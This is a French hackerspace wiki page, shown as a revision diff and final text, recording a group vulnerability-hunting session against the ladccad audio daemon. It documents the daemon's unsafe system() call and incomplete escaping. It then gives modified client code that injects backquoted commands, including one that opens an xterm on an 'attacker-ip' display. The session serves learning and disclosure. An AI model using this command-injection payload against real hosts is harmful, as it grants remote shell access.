Difference between revisions of "Hack Roulette 1"
(→Info) |
m (→StalkR) |
||
(30 intermediate revisions by 4 users not shown) | |||
Line 8: | Line 8: | ||
= Participants = | = Participants = | ||
* Phil | * Phil | ||
− | + | Si vous etes parano, as la peine de vous inscrire... venez juste :) | |
+ | |||
+ | = Script = | ||
+ | |||
+ | Code analyzers: | ||
+ | * http://samate.nist.gov/index.php/Source_Code_Security_Analyzers.html | ||
+ | |||
+ | Fuzzers: | ||
+ | * spike | ||
+ | * peach | ||
+ | * sulley | ||
+ | * Laurent Gaffié 10 lines of python | ||
+ | |||
+ | = Premiere roulette: ladccad = | ||
+ | ladccad | ||
+ | |||
+ | == Results == | ||
+ | |||
+ | === Phil === | ||
+ | INSTALL | ||
+ | apt-get install ladccad | ||
+ | apt-get install jackd | ||
+ | |||
+ | RUN | ||
+ | jackd -d alsa | ||
+ | |||
+ | VULNS? | ||
+ | <pre> | ||
+ | ladccad/project.c: err = system (cmd); | ||
+ | </pre> | ||
+ | |||
+ | et la sanitization de ce truc: | ||
+ | <pre> | ||
+ | char * | ||
+ | escape_file_name (const char * fn) | ||
+ | { | ||
+ | char * escfn; | ||
+ | size_t escfn_size; | ||
+ | size_t fn_size; | ||
+ | ptrdiff_t * escchars = NULL; | ||
+ | size_t escchars_size = 0; | ||
+ | const char * ptr; | ||
+ | unsigned int i, j; | ||
+ | |||
+ | ptr = fn - 1; | ||
+ | |||
+ | while ( (ptr = strpbrk (ptr + 1, " |&;()<>")) ) | ||
+ | { | ||
+ | </pre> | ||
+ | oublie $ dans la liste, donc potentiellement on remplace avec une variable shell qu'on aura passé avant l'exec du daemon? | ||
+ | ou utiliser opportunément une var existante avec les caractères que l'on recherche ";XXXXX" par exemple. | ||
+ | |||
+ | RUNNING: | ||
+ | <pre> | ||
+ | strace ladccad -d /tmp | ||
+ | ... | ||
+ | futex(0xb7d0ead0, 0x81 /* FUTEX_??? */, 2147483647) = 0 | ||
+ | socket(PF_INET6, SOCK_DGRAM, IPPROTO_IP) = 11 | ||
+ | connect(11, {sa_family=AF_INET6, sin6_port=htons(14541), inet_pton(AF_INET6, "::", &sin6_addr), sin6_flowinfo=0, sin6_scope_id=0}, 28) = 0 | ||
+ | getsockname(11, {sa_family=AF_INET6, sin6_port=htons(47455), inet_pton(AF_INET6, "::1", &sin6_addr), sin6_flowinfo=0, sin6_scope_id=0}, [28]) = 0 | ||
+ | connect(11, {sa_family=AF_UNSPEC, sa_data="\0\0\0\0\0\0\0\0\0\0\0\0\0\0"}, 16) = 0 | ||
+ | connect(11, {sa_family=AF_INET, sin_port=htons(14541), sin_addr=inet_addr("0.0.0.0")}, 16) = 0 | ||
+ | getsockname(11, {sa_family=AF_INET6, sin6_port=htons(43007), inet_pton(AF_INET6, "::ffff:127.0.0.1", &sin6_addr), sin6_flowinfo=0, sin6_scope_id=0}, [28]) = 0 | ||
+ | </pre> | ||
+ | |||
+ | <pre> | ||
+ | root@bt:/tmp# nc -vvv -u 0 14541 | ||
+ | 0: inverse host lookup failed: Unknown server error : Connection timed out | ||
+ | (UNKNOWN) [0.0.0.0] 14541 (?) open | ||
+ | |||
+ | sent 1, rcvd 0 | ||
+ | root@bt:/tmp# | ||
+ | </pre> | ||
+ | |||
+ | RUNNING SERVER LIVE: | ||
+ | * Host: 10.0.0.235 | ||
+ | * Port: 14541 | ||
+ | |||
+ | <pre> | ||
+ | tcp6 0 0 :::14541 :::* LISTEN 6653/ladccad | ||
+ | </pre> | ||
+ | |||
+ | <pre> | ||
+ | # netstat -anp | more | ||
+ | Active Internet connections (servers and established) | ||
+ | Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name | ||
+ | tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 6505/sshd | ||
+ | tcp 0 0 10.211.55.14:22 10.211.55.3:57154 ESTABLISHED 6514/0 | ||
+ | tcp6 0 0 :::14541 :::* LISTEN 6653/ladccad | ||
+ | tcp6 0 0 :::22 :::* LISTEN 6505/sshd | ||
+ | udp 0 0 0.0.0.0:68 0.0.0.0:* 6648/dhclient | ||
+ | </pre> | ||
+ | |||
+ | === StalkR === | ||
+ | |||
+ | Par rapport au system(), oublie aussi les backquotes `` et ça c'est bon. | ||
+ | |||
+ | Par contre l'exploitation via $ on ne peut pas lui faire exécuter une autre commande par "; cmd" ou "$()" : | ||
+ | |||
+ | $ cat << EOF > test.c | ||
+ | #include <stdio.h> | ||
+ | #include <stdlib.h> | ||
+ | int main() { | ||
+ | system("echo $TEST"); | ||
+ | return 0; | ||
+ | } | ||
+ | EOF | ||
+ | $ gcc -Wall -o test test.c | ||
+ | $ TEST="test \$(id); id " ./test | ||
+ | test $(id); id | ||
+ | |||
+ | |||
+ | Remontons un peu les fonctions qui donnent les input de system(), on voit que pour déclencher la faille qu'il faut générer un event | ||
+ | "CCA_Project_Dir" avec un event->string qui sera la chaîne avec backquotes passée au system. | ||
+ | |||
+ | Piotr vient d'indiquer de regarder du côté de clients/simple_client/simple_client.c comme base pour générer une requête. | ||
+ | |||
+ | === sbz === | ||
+ | |||
+ | package debian recompile en mode debug et avec les symboles de debug disponible sur http://10.0.0.219:8000 pour activer les macros CCA_DEBUG et CCA_DEBUGARGS afin de mieux comprendre le protocole, voir ladcca/debug.h et project.c | ||
+ | |||
+ | paquet debian partage avec | ||
+ | |||
+ | <pre> | ||
+ | $ python -mSimpleHTTPServer | ||
+ | </pre> | ||
+ | |||
+ | commandes utilisées: | ||
+ | |||
+ | <pre> | ||
+ | $ apt-get source ladccad | ||
+ | $ cd ladcca-0.4.0 | ||
+ | $ dpkg-source -x ladcca_0.4.0-6.dsc | ||
+ | $ cd ladcca-0.4.0 | ||
+ | $ vim debian/rules, decommenter dh_strip et ajouter --enable-debug à la rule configure | ||
+ | $ sudo aptitude install libjack0.100.0-dev libreadline5-dev uuid-dev | ||
+ | $ dpkg-buildpackage -tc | ||
+ | $ sudo dpkg -i ../*.deb | ||
+ | $ file /usr/bin/ladccad | ||
+ | /usr/bin/ladccad: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.15, not stripped | ||
+ | </pre> | ||
+ | |||
+ | === Piotr & Florent === | ||
+ | |||
+ | On peut exploiter le coup du "system()" en editant le client fourni en exemple. L'évenement pour déclancher le "mv" est CCA_Project_Dir. On va lancer un xterm | ||
+ | |||
+ | Modifiez le fichier "clients/simple_clients.c", en ajoutant en ligne 108: | ||
+ | <pre> | ||
+ | printf ("hacking...\n"); | ||
+ | event = cca_event_new_with_type (CCA_Project_Dir); | ||
+ | strcpy(client_name, "toto`xterm`\0"); | ||
+ | CCA_DEBUGARGS ("alsa client id: %d", snd_seq_client_id (aseq)); | ||
+ | cca_event_set_string (event, client_name); | ||
+ | cca_send_event (client, event); | ||
+ | </pre> | ||
+ | |||
+ | plus loin... (Phil, Piotr, Florent): | ||
+ | <pre> | ||
+ | printf ("hacking...\n"); | ||
+ | event = cca_event_new_with_type (CCA_Project_Dir); | ||
+ | strcpy(client_name, "toto`xterm$IFS-display${IFS}attacker-ip:0`\0"); | ||
+ | CCA_DEBUGARGS ("alsa client id: %d", snd_seq_client_id (aseq)); | ||
+ | cca_event_set_string (event, client_name); | ||
+ | cca_send_event (client, event); | ||
+ | </pre> | ||
+ | |||
+ | Octal attacks should work too ;-) |
Latest revision as of 10:32, 5 March 2010
Contents
Info
- Quand? Jeudi 4 Mars de 20h a plus d'heure...
- Ou? /tmp/lab
- Quoi? Hack Roulette... on tire au hasard un logiciel... et on le défonce ;-) sortez vos fuzzer et vos debugger et hop.
- Pourquoi? Ca c'est la question que tout le monde se pose, eh, ah, si on avait la réponse, eh...
Pour apprendre a trouver des vulnerabilités dans un logiciel, pour apprendre a fuzzer, pour s'amuser, pour montrer a quel point la loi DADSI avec son interdiction de publier des failles est DEBILE car c'est le SEUL moyen de savoir si son logiciel est vulnérable, enfin pour s'améliorer dans une pratique de base de la sécurité informatique.
Participants
- Phil
Si vous etes parano, as la peine de vous inscrire... venez juste :)
Script
Code analyzers:
Fuzzers:
- spike
- peach
- sulley
- Laurent Gaffié 10 lines of python
Premiere roulette: ladccad
ladccad
Results
Phil
INSTALL
apt-get install ladccad apt-get install jackd
RUN
jackd -d alsa
VULNS?
ladccad/project.c: err = system (cmd);
et la sanitization de ce truc:
char * escape_file_name (const char * fn) { char * escfn; size_t escfn_size; size_t fn_size; ptrdiff_t * escchars = NULL; size_t escchars_size = 0; const char * ptr; unsigned int i, j; ptr = fn - 1; while ( (ptr = strpbrk (ptr + 1, " |&;()<>")) ) {
oublie $ dans la liste, donc potentiellement on remplace avec une variable shell qu'on aura passé avant l'exec du daemon? ou utiliser opportunément une var existante avec les caractères que l'on recherche ";XXXXX" par exemple.
RUNNING:
strace ladccad -d /tmp ... futex(0xb7d0ead0, 0x81 /* FUTEX_??? */, 2147483647) = 0 socket(PF_INET6, SOCK_DGRAM, IPPROTO_IP) = 11 connect(11, {sa_family=AF_INET6, sin6_port=htons(14541), inet_pton(AF_INET6, "::", &sin6_addr), sin6_flowinfo=0, sin6_scope_id=0}, 28) = 0 getsockname(11, {sa_family=AF_INET6, sin6_port=htons(47455), inet_pton(AF_INET6, "::1", &sin6_addr), sin6_flowinfo=0, sin6_scope_id=0}, [28]) = 0 connect(11, {sa_family=AF_UNSPEC, sa_data="\0\0\0\0\0\0\0\0\0\0\0\0\0\0"}, 16) = 0 connect(11, {sa_family=AF_INET, sin_port=htons(14541), sin_addr=inet_addr("0.0.0.0")}, 16) = 0 getsockname(11, {sa_family=AF_INET6, sin6_port=htons(43007), inet_pton(AF_INET6, "::ffff:127.0.0.1", &sin6_addr), sin6_flowinfo=0, sin6_scope_id=0}, [28]) = 0
root@bt:/tmp# nc -vvv -u 0 14541 0: inverse host lookup failed: Unknown server error : Connection timed out (UNKNOWN) [0.0.0.0] 14541 (?) open sent 1, rcvd 0 root@bt:/tmp#
RUNNING SERVER LIVE:
- Host: 10.0.0.235
- Port: 14541
tcp6 0 0 :::14541 :::* LISTEN 6653/ladccad
# netstat -anp | more Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 6505/sshd tcp 0 0 10.211.55.14:22 10.211.55.3:57154 ESTABLISHED 6514/0 tcp6 0 0 :::14541 :::* LISTEN 6653/ladccad tcp6 0 0 :::22 :::* LISTEN 6505/sshd udp 0 0 0.0.0.0:68 0.0.0.0:* 6648/dhclient
StalkR
Par rapport au system(), oublie aussi les backquotes `` et ça c'est bon.
Par contre l'exploitation via $ on ne peut pas lui faire exécuter une autre commande par "; cmd" ou "$()" :
$ cat << EOF > test.c #include <stdio.h> #include <stdlib.h> int main() { system("echo $TEST"); return 0; } EOF $ gcc -Wall -o test test.c $ TEST="test \$(id); id " ./test test $(id); id
Remontons un peu les fonctions qui donnent les input de system(), on voit que pour déclencher la faille qu'il faut générer un event
"CCA_Project_Dir" avec un event->string qui sera la chaîne avec backquotes passée au system.
Piotr vient d'indiquer de regarder du côté de clients/simple_client/simple_client.c comme base pour générer une requête.
sbz
package debian recompile en mode debug et avec les symboles de debug disponible sur http://10.0.0.219:8000 pour activer les macros CCA_DEBUG et CCA_DEBUGARGS afin de mieux comprendre le protocole, voir ladcca/debug.h et project.c
paquet debian partage avec
$ python -mSimpleHTTPServer
commandes utilisées:
$ apt-get source ladccad $ cd ladcca-0.4.0 $ dpkg-source -x ladcca_0.4.0-6.dsc $ cd ladcca-0.4.0 $ vim debian/rules, decommenter dh_strip et ajouter --enable-debug à la rule configure $ sudo aptitude install libjack0.100.0-dev libreadline5-dev uuid-dev $ dpkg-buildpackage -tc $ sudo dpkg -i ../*.deb $ file /usr/bin/ladccad /usr/bin/ladccad: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.15, not stripped
Piotr & Florent
On peut exploiter le coup du "system()" en editant le client fourni en exemple. L'évenement pour déclancher le "mv" est CCA_Project_Dir. On va lancer un xterm
Modifiez le fichier "clients/simple_clients.c", en ajoutant en ligne 108:
printf ("hacking...\n"); event = cca_event_new_with_type (CCA_Project_Dir); strcpy(client_name, "toto`xterm`\0"); CCA_DEBUGARGS ("alsa client id: %d", snd_seq_client_id (aseq)); cca_event_set_string (event, client_name); cca_send_event (client, event);
plus loin... (Phil, Piotr, Florent):
printf ("hacking...\n"); event = cca_event_new_with_type (CCA_Project_Dir); strcpy(client_name, "toto`xterm$IFS-display${IFS}attacker-ip:0`\0"); CCA_DEBUGARGS ("alsa client id: %d", snd_seq_client_id (aseq)); cca_event_set_string (event, client_name); cca_send_event (client, event);
Octal attacks should work too ;-)